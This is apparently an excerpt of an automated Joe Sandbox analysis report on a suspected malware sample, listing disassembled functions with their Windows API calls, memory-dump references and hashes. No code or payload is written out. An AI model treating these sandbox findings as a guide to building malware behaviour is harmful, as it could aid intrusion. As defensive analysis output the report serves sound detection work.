                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
                                      • String ID:
                                      • API String ID: 4196846111-0
                                      • Opcode ID: dd0f788ad374f88a8d99bb366940a3ff658065c20a46ad5316502d36fb2cdf12
                                      • Instruction ID: d6e0c6169dbb57db3e37bf881ce0897b7022dd510071cce24e0c00bc77bf4526
                                      • Opcode Fuzzy Hash: dd0f788ad374f88a8d99bb366940a3ff658065c20a46ad5316502d36fb2cdf12
                                      • Instruction Fuzzy Hash: 07717C75A04205AFCB14DF68C841EAEBBF5FF89310F548469F916EB351DB34AA41CB90
                                      Function 0091ADD8 Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetParent.USER32(?), ref: 0091AE17
                                      • GetKeyboardState.USER32(?), ref: 0091AE2C
                                      • SetKeyboardState.USER32(?), ref: 0091AE8D
                                      • PostMessageW.USER32(?,00000101,00000010,?), ref: 0091AEBB
                                      • PostMessageW.USER32(?,00000101,00000011,?), ref: 0091AEDA
                                      • PostMessageW.USER32(?,00000101,00000012,?), ref: 0091AF1B
                                      • PostMessageW.USER32(?,00000101,0000005B,?), ref: 0091AF3E
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessagePost$KeyboardState$Parent
                                      • String ID:
                                      • API String ID: 87235514-0
                                      • Opcode ID: 67908bb6ecb196428d8d06ee3cbc4c9781562df83fb5b4362447e3182afd2faf
                                      • Instruction ID: 540de04e943a4bf37f87a4951d4015a058e1c391adc877c478d42e90d89ac598
                                      • Opcode Fuzzy Hash: 67908bb6ecb196428d8d06ee3cbc4c9781562df83fb5b4362447e3182afd2faf
                                      • Instruction Fuzzy Hash: 6751D0A07097D93DFB3682388C05BFABEAD5B46304F088989F0D9558D3D3A8ACC5D752
                                      Function 0091ABF8 Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetParent.USER32(00000000), ref: 0091AC37
                                      • GetKeyboardState.USER32(?), ref: 0091AC4C
                                      • SetKeyboardState.USER32(?), ref: 0091ACAD
                                      • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 0091ACD9
                                      • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 0091ACF6
                                      • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 0091AD35
                                      • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 0091AD56
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessagePost$KeyboardState$Parent
                                      • String ID:
                                      • API String ID: 87235514-0
                                      • Opcode ID: 417b1e0b9ee2324dbe5fa24bb9bbc59bd7db2e0f11471c89c1ff57653d8c5292
                                      • Instruction ID: 083afd6d4ba3e31771c3e04142429623fb0d1d0f7a9943d8769f1c882056c6ac
                                      • Opcode Fuzzy Hash: 417b1e0b9ee2324dbe5fa24bb9bbc59bd7db2e0f11471c89c1ff57653d8c5292
                                      • Instruction Fuzzy Hash: 2651F7A0B49BD93EFB3283348C55BF67E9D6B06301F088989E0D5468D2D794ECC4E792
                                      Function 008E53BE Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,?,008E5B33,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 008E5400
                                      • __fassign.LIBCMT ref: 008E547B
                                      • __fassign.LIBCMT ref: 008E5496
                                      • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 008E54BC
                                      • WriteFile.KERNEL32(?,FF8BC35D,00000000,008E5B33,00000000,?,?,?,?,?,?,?,?,?,008E5B33,?), ref: 008E54DB
                                      • WriteFile.KERNEL32(?,?,00000001,008E5B33,00000000,?,?,?,?,?,?,?,?,?,008E5B33,?), ref: 008E5514
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                      • String ID:
                                      • API String ID: 1324828854-0
                                      • Opcode ID: bd1185d886fbb274781d06a93672f64066135f43e55f344a1654e31cf6e7e3f6
                                      • Instruction ID: d50a9f1d608d8a16344b86639bf5e11383689e18435465689e712f50f882acd5
                                      • Opcode Fuzzy Hash: bd1185d886fbb274781d06a93672f64066135f43e55f344a1654e31cf6e7e3f6
                                      • Instruction Fuzzy Hash: 9951E7B1A04689AFCB10CFA9D845AEEBBF9FF0A304F14415AE555E7291E730DA41CB60
                                      Function 008D2CB0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                      Download Yara Rule
                                      APIs
                                      • _ValidateLocalCookies.LIBCMT ref: 008D2CDB
                                      • ___except_validate_context_record.LIBVCRUNTIME ref: 008D2CE3
                                      • _ValidateLocalCookies.LIBCMT ref: 008D2D71
                                      • __IsNonwritableInCurrentImage.LIBCMT ref: 008D2D9C
                                      • _ValidateLocalCookies.LIBCMT ref: 008D2DF1
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                      • String ID: csm
                                      • API String ID: 1170836740-1018135373
                                      • Opcode ID: 1fae8a13bdba3a4da2885ac2e781bc72369417b683d6281422313a662e2d77b4
                                      • Instruction ID: 6dd381474d7bfe8bf0c7e6444032c980aa5cf091e57816c9060da5d9c746218d
                                      • Opcode Fuzzy Hash: 1fae8a13bdba3a4da2885ac2e781bc72369417b683d6281422313a662e2d77b4
                                      • Instruction Fuzzy Hash: E7419134E0020DABCF10DF68C844A9EBBA6FF55328F148266E815DB392D7319A15DBD1
                                      Function 00930FDF Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00932F75: inet_addr.WS2_32(?), ref: 00932FA1
                                        • Part of subcall function 00932F75: _wcslen.LIBCMT ref: 00932FC2
                                      • socket.WS2_32(00000002,00000001,00000006), ref: 00931039
                                      • WSAGetLastError.WS2_32 ref: 00931048
                                      • WSAGetLastError.WS2_32 ref: 009310F0
                                      • closesocket.WS2_32(00000000), ref: 00931120
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
                                      • String ID:
                                      • API String ID: 2675159561-0
                                      • Opcode ID: fa38e7d85d19f6fbefe331d57024d0609ac5d73eb1bc03dad900ac2e80b95a15
                                      • Instruction ID: 5f0d0b0cb9156453a5c0ec66d080351ed928852f12e48a094f34a82596add665
                                      • Opcode Fuzzy Hash: fa38e7d85d19f6fbefe331d57024d0609ac5d73eb1bc03dad900ac2e80b95a15
                                      • Instruction Fuzzy Hash: 0B41E171600504AFDB149F68C885BAAB7A9FF45364F148029EC059B2A2C775ED81CFE1
                                      Function 0091CE1E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0091DCFE: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0091CE40,?), ref: 0091DD1B
                                        • Part of subcall function 0091DCFE: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0091CE40,?), ref: 0091DD34
                                      • lstrcmpiW.KERNEL32(?,?), ref: 0091CE63
                                      • MoveFileW.KERNEL32(?,?), ref: 0091CE9D
                                      • _wcslen.LIBCMT ref: 0091CF23
                                      • _wcslen.LIBCMT ref: 0091CF39
                                      • SHFileOperationW.SHELL32(?), ref: 0091CF7F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
                                      • String ID: \*.*
                                      • API String ID: 3164238972-1173974218
                                      • Opcode ID: b221e4677313a7672f70813388d7a8109e4fb74a94ca93964ede07b17adba4df
                                      • Instruction ID: 40f75d21e76943b60997ad33194bc48b2d60e2910608a0c731643dbadd1c375b
                                      • Opcode Fuzzy Hash: b221e4677313a7672f70813388d7a8109e4fb74a94ca93964ede07b17adba4df
                                      • Instruction Fuzzy Hash: 7E4162B6A4521D9EDF12EFA4D981FDE77BCAF08380F0404E6E505EB141EB74AA84CB51
                                      Function 00942D30 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00942D4F
                                      • GetWindowLongW.USER32(00000000,000000F0), ref: 00942D82
                                      • GetWindowLongW.USER32(00000000,000000F0), ref: 00942DB7
                                      • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00942DE9
                                      • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00942E13
                                      • GetWindowLongW.USER32(00000000,000000F0), ref: 00942E24
                                      • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00942E3E
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: LongWindow$MessageSend
                                      • String ID:
                                      • API String ID: 2178440468-0
                                      • Opcode ID: dec54df81a2305fcf5edc9afc38b9b6387c33e97341bdb35fade2802e1fa17aa
                                      • Instruction ID: 5ddeaf064aa19dcf4c10831efa61344d8b804ba265455db67b4bc752aedfbf84
                                      • Opcode Fuzzy Hash: dec54df81a2305fcf5edc9afc38b9b6387c33e97341bdb35fade2802e1fa17aa
                                      • Instruction Fuzzy Hash: 74312234A19245AFEB20CF08EC84FA537E9FB8A710F5501A4F915CF2F2CB71A840AB00
                                      Function 0091767C Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009176BF
                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009176E5
                                      • SysAllocString.OLEAUT32(00000000), ref: 009176E8
                                      • SysAllocString.OLEAUT32(?), ref: 00917706
                                      • SysFreeString.OLEAUT32(?), ref: 0091770F
                                      • StringFromGUID2.COMBASE(?,?,00000028), ref: 00917734
                                      • SysAllocString.OLEAUT32(?), ref: 00917742
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                      • String ID:
                                      • API String ID: 3761583154-0
                                      • Opcode ID: cf3fea38998c050f3a0f8cc4555c526116ac1c6e0cf198a445eee08887264707
                                      • Instruction ID: 410e6c801964d7de7ab102dfafd75e31c4ccd6d7d0058c5182f998f659bb2a3c
                                      • Opcode Fuzzy Hash: cf3fea38998c050f3a0f8cc4555c526116ac1c6e0cf198a445eee08887264707
                                      • Instruction Fuzzy Hash: 1921B57670921EAFDB10AFE8CC88CFAB3BCEB09360B048425FA05DB191D674DD818760
                                      Function 00917753 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00917798
                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009177BE
                                      • SysAllocString.OLEAUT32(00000000), ref: 009177C1
                                      • SysAllocString.OLEAUT32 ref: 009177E2
                                      • SysFreeString.OLEAUT32 ref: 009177EB
                                      • StringFromGUID2.COMBASE(?,?,00000028), ref: 00917805
                                      • SysAllocString.OLEAUT32(?), ref: 00917813
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                      • String ID:
                                      • API String ID: 3761583154-0
                                      • Opcode ID: 48a1d611bbb28c5938c63e1ea74960e4b795ffc0c2ae5279c27377f84caa39ad
                                      • Instruction ID: 68c218ba38e5fce8245d9e3d7be270119d96aae57edb8bbdc7f39fd68eaf9da1
                                      • Opcode Fuzzy Hash: 48a1d611bbb28c5938c63e1ea74960e4b795ffc0c2ae5279c27377f84caa39ad
                                      • Instruction Fuzzy Hash: 1E218375709219BF9B109FE8DC88DAAB7FCEB09360B008525FA05DB2A1D674DC81DB64
                                      Function 009203F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetStdHandle.KERNEL32(0000000C), ref: 00920410
                                      • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 0092044C
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CreateHandlePipe
                                      • String ID: nul
                                      • API String ID: 1424370930-2873401336
                                      • Opcode ID: f509badb83406067893a1d4dd1e6deda16e00eaa139cf5ec03a0db03af583f06
                                      • Instruction ID: 75b60bc1f5458959d51e7f0eb7b2c6ade4eea2c07acc68a3722a63c5020ff86e
                                      • Opcode Fuzzy Hash: f509badb83406067893a1d4dd1e6deda16e00eaa139cf5ec03a0db03af583f06
                                      • Instruction Fuzzy Hash: 6F2174746003159FDB209F25EC05A5977B8FF95724F208A19FDA1D72E5E7709840DB50
                                      Function 009204C5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetStdHandle.KERNEL32(000000F6), ref: 009204E4
                                      • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 0092051F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CreateHandlePipe
                                      • String ID: nul
                                      • API String ID: 1424370930-2873401336
                                      • Opcode ID: 022ae547d6f6c3d3f293265cc54f541378eacd1673ee5286e86cc0e8ee0b0071
                                      • Instruction ID: f37dfdc9d239a6b6d4d54ad3d7a7ad8b7feb3dd000dffb67ee2c5650a7f9b8ba
                                      • Opcode Fuzzy Hash: 022ae547d6f6c3d3f293265cc54f541378eacd1673ee5286e86cc0e8ee0b0071
                                      • Instruction Fuzzy Hash: 5B21B2756043259FDB209F6AAC05E9A77E8AF95720F200A19FCB1E32D5D7B0D880CF60
                                      Function 008ED77F Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008ED743: _free.LIBCMT ref: 008ED76C
                                      • _free.LIBCMT ref: 008ED7CD
                                        • Part of subcall function 008E2958: RtlFreeHeap.NTDLL(00000000,00000000,?,008ED771,00000000,00000000,00000000,00000000,?,008ED798,00000000,00000007,00000000,?,008EDB95,00000000), ref: 008E296E
                                        • Part of subcall function 008E2958: GetLastError.KERNEL32(00000000,?,008ED771,00000000,00000000,00000000,00000000,?,008ED798,00000000,00000007,00000000,?,008EDB95,00000000,00000000), ref: 008E2980
                                      • _free.LIBCMT ref: 008ED7D8
                                      • _free.LIBCMT ref: 008ED7E3
                                      • _free.LIBCMT ref: 008ED837
                                      • _free.LIBCMT ref: 008ED842
                                      • _free.LIBCMT ref: 008ED84D
                                      • _free.LIBCMT ref: 008ED858
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _free$ErrorFreeHeapLast
                                      • String ID:
                                      • API String ID: 776569668-0
                                      • Opcode ID: 98b13fc91f4fe31fecb0273d364a71dd69e1171f55120a532e903f65f4669862
                                      • Instruction ID: a58b34d7ac42ba5ee297d64b8b123142aeef4db845c5ed309f25a4c86cbd9662
                                      • Opcode Fuzzy Hash: 98b13fc91f4fe31fecb0273d364a71dd69e1171f55120a532e903f65f4669862
                                      • Instruction Fuzzy Hash: 18115E716C07C8A6D921BBBACC0BFCB7B9CFF42700F400815B69DE6053D624A6494752
                                      Function 0091D978 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 0091D992
                                      • LoadStringW.USER32(00000000), ref: 0091D999
                                      • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0091D9AF
                                      • LoadStringW.USER32(00000000), ref: 0091D9B6
                                      • MessageBoxW.USER32(00000000,?,?,00011010), ref: 0091D9FA
                                      Strings
                                      • %s (%d) : ==> %s: %s %s, xrefs: 0091D9D7
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
